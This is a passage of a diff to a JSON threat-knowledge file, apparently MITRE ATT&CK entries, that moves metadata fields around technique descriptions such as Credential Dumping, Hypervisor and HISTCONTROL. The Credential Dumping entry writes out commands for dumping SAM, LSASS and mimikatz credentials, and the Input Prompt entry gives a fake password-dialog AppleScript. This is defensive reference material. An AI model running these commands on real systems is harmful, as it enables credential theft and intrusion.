"external_id": "T1188",
"kill_chain": [
"mitre-attack:enterprise-attack:command-and-control"
@@ -5023,21 +5018,17 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1188"
]
},
- "uuid": "7d751199-05fa-4a72-920f-85df4506c76c"
+ "uuid": "7d751199-05fa-4a72-920f-85df4506c76c",
+ "value": "Multi-hop Proxy - T1188"
},
{
"description": "A type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with Rootkit functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.\n\nDetection: Type-1 hypervisors may be detected by performing timing analysis. Hypervisors emulate certain CPU instructions that would normally be executed by the hardware. If an instruction takes orders of magnitude longer to execute than normal on a system that should not contain a hypervisor, one may be present. (Citation: virtualization.info 2006)\n\nPlatforms: Windows\n\nData Sources: System calls\n\nPermissions Required: Administrator, SYSTEM",
- "value": "Hypervisor - T1062",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1062",
- "https://en.wikipedia.org/wiki/Hypervisor",
- "http://en.wikipedia.org/wiki/Xen",
- "http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf",
- "http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html"
- ],
"external_id": "T1062",
"kill_chain": [
"mitre-attack:enterprise-attack:persistence"
@@ -5047,14 +5038,34 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1062",
+ "https://en.wikipedia.org/wiki/Hypervisor",
+ "http://en.wikipedia.org/wiki/Xen",
+ "http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf",
+ "http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html"
]
},
- "uuid": "4be89c7c-ace6-4876-9377-c8d54cef3d63"
+ "uuid": "4be89c7c-ace6-4876-9377-c8d54cef3d63",
+ "value": "Hypervisor - T1062"
},
{
"description": "Credential dumping is the process of obtaining account login and password information, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.\n\nSeveral of the tools mentioned in this technique may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.\n\n===SAM (Security Accounts Manager)===\n\nThe SAM is a database file that contains local accounts for the host, typically those found with the ‘net user’ command. To enumerate the SAM database, system level access is required.\n \nA number of tools can be used to retrieve the SAM file through in-memory techniques:\n* pwdumpx.exe \n* gsecdump\n* Mimikatz\n* secretsdump.py\n\nAlternatively, the SAM can be extracted from the Registry with Reg:\n* reg save HKLM\\sam sam\n* reg save HKLM\\system system\n\nCreddump7 can then be used to process the SAM database locally to retrieve hashes. (Citation: GitHub Creddump7)\n\nNotes:\nRid 500 account is the local, in-built administrator.\nRid 501 is the guest account.\nUser accounts start with a RID of 1,000+.\n\n===Cached Credentials===\n\nThe DCC2 (Domain Cached Credentials version 2) hash, used by Windows Vista and newer caches credentials when the domain controller is unavailable. The number of default cached credentials varies, and this number can be altered per system. This hash does not allow pass-the-hash style attacks.\n \nA number of tools can be used to retrieve the SAM file through in-memory techniques.\n* pwdumpx.exe \n* gsecdump\n* Mimikatz\n\nAlternatively, reg.exe can be used to extract from the Registry and Creddump7 used to gather the credentials.\n\nNotes:\nCached credentials for Windows Vista are derived using PBKDF2.\n\n===Local Security Authority (LSA) Secrets===\n\nWith SYSTEM access to a host, the LSA secrets often allows trivial access from a local account to domain-based account credentials. The Registry is used to store the LSA secrets.\n \nWhen services are run under the context of local or domain users, their passwords are stored in the Registry. If auto-logon is enabled, this information will be stored in the Registry as well.\n \nA number of tools can be used to retrieve the SAM file through in-memory techniques.\n* pwdumpx.exe \n* gsecdump\n* Mimikatz\n* secretsdump.py\n\nAlternatively, reg.exe can be used to extract from the Registry and Creddump7 used to gather the credentials.\n\nNotes:\nThe passwords extracted by his mechanism are UTF-16 encoded, which means that they are returned in plaintext.\nWindows 10 adds protections for LSA Secrets described in Mitigation.\n\n===NTDS from Domain Controller===\n\nActive Directory stores information about members of the domain including devices and users to verify credentials and define access rights. The Active Directory domain database is stored in the NTDS.dit file. By default the NTDS file will be located in %SystemRoot%\\NTDS\\Ntds.dit of a domain controller. (Citation: Wikipedia Active Directory)\n \nThe following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.\n \n* Volume Shadow Copy\n* secretsdump.py\n* Using the in-built Windows tool, ntdsutil.exe\n* Invoke-NinjaCopy\n\n===Group Policy Preference (GPP) Files===\n\nGroup Policy Preferences (GPP) are tools that allowed administrators to create domain policies with embedded credentials. These policies, amongst other things, allow administrators to set local accounts.\n \nThese group policies are stored in SYSVOL on a domain controller, this means that any domain user can view the SYSVOL share and decrypt the password (the AES private key was leaked on-line. (Citation: Microsoft GPP Key) (Citation: SRD GPP)\n \nThe following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:\n \n* Metasploit’s post exploitation module: \"post/windows/gather/credentials/gpp\"\n* Get-GPPPassword (Citation: Obscuresecurity Get-GPPPassword)\n* gpprefdecrypt.py\n \nNotes:\nOn the SYSVOL share, the following can be used to enumerate potential XML files.\ndir /s *.xml\n\n===Service Principle Names (SPNs)===\n\nSee Kerberoasting.\n\n===Plaintext Credentials===\n\nAfter a user logs on to a system, a variety of credentials are generated and stored in the Local Security Authority Subsystem Service (LSASS) process in memory. These credentials can be harvested by a administrative user or SYSTEM.\n \nSSPI (Security Support Provider Interface) functions as a common interface to several Security Support Providers (SSPs): A Security Support Provider is a dynamic-link library (DLL) that makes one or more security packages available to applications.\n\nThe following SSPs can be used to access credentials:\n \nMsv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.\nWdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges. (Citation: TechNet Blogs Credential Protection)\nKerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.\nCredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services. (Citation: Microsoft CredSSP)\n \nThe following tools can be used to enumerate credentials:\n \n* Windows Credential Editor\n* Mimikatz\n \nAs well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.\n \nFor example, on the target host use procdump:\n* procdump -ma lsass.exe lsass_dump\n \nLocally, mimikatz can be run:\n* sekurlsa::Minidump lsassdump.dmp\n* sekurlsa::logonPasswords\n\n===DCSync=== \n\nDCSync is a variation on credential dumping which can be used to acquire sensitive information from a domain controller. Rather than executing recognizable malicious code, the action works by abusing the domain controller's application programming interface (API) (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller. Any members of the Administrators, Domain Admins, Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data (Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a Golden Ticket for use in Pass the Ticket (Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in Account Manipulation. (Citation: InsiderThreat ChangeNTLM July 2017) DCSync functionality has been included in the \"lsadump\" module in Mimikatz. (Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol. (Citation: Microsoft NRPC Dec 2017)\n\nDetection: Common credential dumpers such as Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective Process Injection to reduce potential indicators of malicious activity.\n\nHash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised Valid Accounts in-use by adversaries may help as well. \n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nMonitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)\n\nPlatforms: Windows\n\nData Sources: API monitoring, Process command-line parameters, Process monitoring, PowerShell logs\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Vincent Le Toux, Ed Williams, Trustwave, SpiderLabs",
- "value": "Credential Dumping - T1003",
"meta": {
+ "external_id": "T1003",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:credential-access"
+ ],
+ "mitre_data_sources": [
+ "API monitoring",
+ "Process command-line parameters",
+ "Process monitoring",
+ "PowerShell logs"
+ ],
+ "mitre_platforms": [
+ "Windows"
+ ],
"refs": [
"https://attack.mitre.org/wiki/Technique/T1003",
"https://github.com/mattifestation/PowerSploit",
@@ -5075,33 +5086,14 @@
"https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html",
"https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/",
"https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-vista/cc749211(v=ws.10)"
- ],
- "external_id": "T1003",
- "kill_chain": [
- "mitre-attack:enterprise-attack:credential-access"
- ],
- "mitre_data_sources": [
- "API monitoring",
- "Process command-line parameters",
- "Process monitoring",
- "PowerShell logs"
- ],
- "mitre_platforms": [
- "Windows"
]
},
- "uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22"
+ "uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
+ "value": "Credential Dumping - T1003"
},
{
"description": "Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, Scripting, PowerShell, or by using utilities present on the system.\n\nOne such example is use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia)\n\nAnother example is using the Windows copy /b command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016)\n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used with Obfuscated Files or Information during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.\n\nDetection: Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as certutil.\n\nMonitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Anti-virus, Host intrusion prevention systems, Signature-based detection, Network intrusion detection system\n\nPermissions Required: User\n\nContributors: Matthew Demaske, Adaptforward, Red Canary",
- "value": "Deobfuscate/Decode Files or Information - T1140",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1140",
- "https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/",
- "https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/",
- "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"
- ],
"external_id": "T1140",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion"
@@ -5113,22 +5105,20 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1140",
+ "https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/",
+ "https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/",
+ "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"
]
},
- "uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c"
+ "uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+ "value": "Deobfuscate/Decode Files or Information - T1140"
},
{
"description": "The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish Persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)\n\nDetection: Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx and RegSetValueEx as well as execution of the W32tm.exe utility. (Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk. (Citation: Github W32Time Oct 2017)\n\nThe Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers. (Citation: TechNet Autoruns)\n\nPlatforms: Windows\n\nData Sources: API monitoring, Binary file metadata, DLL monitoring, File monitoring, Loaded DLLs, Process Monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Scott Lundgren, @5twenty9, Carbon Black",
- "value": "Time Providers - T1209",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1209",
- "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top",
- "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx",
- "https://github.com/scottlundgren/w32time",
- "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings",
- "https://technet.microsoft.com/en-us/sysinternals/bb963902"
- ],
"external_id": "T1209",
"kill_chain": [
"mitre-attack:enterprise-attack:persistence"
@@ -5143,17 +5133,22 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1209",
+ "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top",
+ "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx",
+ "https://github.com/scottlundgren/w32time",
+ "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings",
+ "https://technet.microsoft.com/en-us/sysinternals/bb963902"
]
},
- "uuid": "dce31a00-1e90-4655-b0f9-e2e71a748a87"
+ "uuid": "dce31a00-1e90-4655-b0f9-e2e71a748a87",
+ "value": "Time Providers - T1209"
},
{
"description": "The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". HISTCONTROL can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.\n\nDetection: Correlating a user session with a distinct lack of new commands in their .bash_history can be a clue to suspicious behavior. Additionally, users checking or changing their HISTCONTROL environment variable is also suspicious.\n\nPlatforms: Linux, macOS\n\nData Sources: Process Monitoring, Authentication logs, File monitoring, Environment variable\n\nDefense Bypassed: Log analysis, Host forensic analysis\n\nPermissions Required: User",
- "value": "HISTCONTROL - T1148",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1148"
- ],
"external_id": "T1148",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion"
@@ -5167,22 +5162,17 @@
"mitre_platforms": [
"Linux",
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1148"
]
},
- "uuid": "086952c4-5b90-4185-b573-02bad8e11953"
+ "uuid": "086952c4-5b90-4185-b573-02bad8e11953",
+ "value": "HISTCONTROL - T1148"
},
{
"description": "The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID)-History Attribute, allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nAdversaries may use this mechanism for privilege escalation. With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as Remote Services, Windows Admin Shares, or Windows Remote Management.\n\nDetection: Examine data in user’s SID-History attributes using the PowerShell Get-ADUser Cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015)\n\nMonitor Account Management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory)\n\nMonitor Windows API calls to the DsAddSidHistory function. (Citation: Microsoft DsAddSidHistory)\n\nPlatforms: Windows\n\nData Sources: API monitoring, Authentication logs, Windows event logs\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Vincent Le Toux",
- "value": "SID-History Injection - T1178",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1178",
- "https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx",
- "https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems",
- "https://technet.microsoft.com/library/ee617241.aspx",
- "https://adsecurity.org/?p=1772",
- "https://msdn.microsoft.com/library/ms677982.aspx"
- ],
"external_id": "T1178",
"kill_chain": [
"mitre-attack:enterprise-attack:privilege-escalation"
@@ -5194,18 +5184,22 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1178",
+ "https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx",
+ "https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems",
+ "https://technet.microsoft.com/library/ee617241.aspx",
+ "https://adsecurity.org/?p=1772",
+ "https://msdn.microsoft.com/library/ms677982.aspx"
]
},
- "uuid": "1df0326d-2fbc-4d08-a16b-48365f1e742d"
+ "uuid": "1df0326d-2fbc-4d08-a16b-48365f1e742d",
+ "value": "SID-History Injection - T1178"
},
{
"description": "Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system.\n\nThese commands may also include pointers to command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).\n\nDetection: Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture, SSL/TLS inspection\n\nDefense Bypassed: Binary Analysis, Log analysis, Firewall\n\nPermissions Required: User\n\nRequires Network: Yes\n\nContributors: Anastasios Pingios",
- "value": "Web Service - T1102",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1102",
- "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
- ],
"external_id": "T1102",
"kill_chain": [
"mitre-attack:enterprise-attack:command-and-control",
@@ -5222,18 +5216,18 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1102",
+ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
]
},
- "uuid": "830c9528-df21-472c-8c14-a036bf17d665"
+ "uuid": "830c9528-df21-472c-8c14-a036bf17d665",
+ "value": "Web Service - T1102"
},
{
"description": "Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.\n\nThe Registry contains a significant amount of information about the operating system, configuration, software, and security. (Citation: Wikipedia Windows Registry) Some of the information may help adversaries to further their operation within a network.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nInteraction with the Windows Registry may come from the command line using utilities such as Reg or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, Process monitoring, Process command-line parameters\n\nPermissions Required: User, Administrator, SYSTEM",
- "value": "Query Registry - T1012",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1012",
- "https://en.wikipedia.org/wiki/Windows%20Registry"
- ],
"external_id": "T1012",
"kill_chain": [
"mitre-attack:enterprise-attack:discovery"
@@ -5245,17 +5239,18 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1012",
+ "https://en.wikipedia.org/wiki/Windows%20Registry"
]
},
- "uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896"
+ "uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896",
+ "value": "Query Registry - T1012"
},
{
"description": "Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, VNC, HBSS, Altiris, etc.). If an adversary gains access to these systems, then they may be able to execute code.\n\nAdversaries may gain access to and use third-party application deployment systems installed within an enterprise network. Access to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nDetection: Detection methods will vary depending on the type of third-party software or system and how it is typically used. \n\nThe same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. \n\nOften these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious.\n\nPerform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Binary file metadata, File monitoring, Process monitoring, Process use of network, Third-party application logs, Windows Registry\n\nPermissions Required: Administrator, SYSTEM, User\n\nRemote Support: Yes",
- "value": "Third-party Software - T1072",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1072"
- ],
"external_id": "T1072",
"kill_chain": [
"mitre-attack:enterprise-attack:execution",
@@ -5273,18 +5268,17 @@
"Linux",
"Windows",
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1072"
]
},
- "uuid": "92a78814-b191-47ca-909c-1ccfe3777414"
+ "uuid": "92a78814-b191-47ca-909c-1ccfe3777414",
+ "value": "Third-party Software - T1072"
},
{
"description": "Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.\n\nAdversaries may also copy files laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with Windows Admin Shares or Remote Desktop Protocol.\n\nDetection: Monitor for file creation and files transferred within a network over SMB. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Packet capture, Process use of network, Netflow/Enclave netflow, Network protocol analysis, Process monitoring\n\nPermissions Required: User\n\nRequires Network: Yes",
- "value": "Remote File Copy - T1105",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1105",
- "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
- ],
"external_id": "T1105",
"kill_chain": [
"mitre-attack:enterprise-attack:command-and-control",
@@ -5302,19 +5296,18 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1105",
+ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
]
},
- "uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add"
+ "uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "value": "Remote File Copy - T1105"
},
{
"description": "Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)\n\nUtilities, such as NinjaCopy, exist to perform these actions in PowerShell. (Citation: Github PowerSploit Ninjacopy)\n\nDetection: Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy)\n\nMonitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through PowerShell, additional logging of PowerShell scripts is recommended.\n\nPlatforms: Windows\n\nData Sources: API monitoring\n\nDefense Bypassed: File monitoring, File system access controls\n\nPermissions Required: Administrator",
- "value": "File System Logical Offsets - T1006",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1006",
- "http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin",
- "https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1"
- ],
"external_id": "T1006",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion"
@@ -5324,19 +5317,19 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1006",
+ "http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin",
+ "https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1"
]
},
- "uuid": "0c8ab3eb-df48-4b9c-ace7-beacaac81cc5"
+ "uuid": "0c8ab3eb-df48-4b9c-ace7-beacaac81cc5",
+ "value": "File System Logical Offsets - T1006"
},
{
"description": "When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task. Adversaries can mimic this functionality to prompt users for credentials with a normal-looking prompt. This type of prompt can be accomplished with AppleScript:\n\nset thePassword to the text returned of (display dialog \"AdobeUpdater needs permission to check for updates. Please authenticate.\" default answer \"\")\n (Citation: OSX Keydnap malware)\n\nAdversaries can prompt a user for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite. (Citation: OSX Malware Exploits MacKeeper)\n\nDetection: This technique exploits users' tendencies to always supply credentials when prompted, which makes it very difficult to detect. Monitor process execution for unusual programs as well as AppleScript that could be used to prompt users for credentials.\n\nPlatforms: macOS\n\nData Sources: User interface, Process Monitoring\n\nPermissions Required: User",
- "value": "Input Prompt - T1141",
"meta": {
- "refs": [
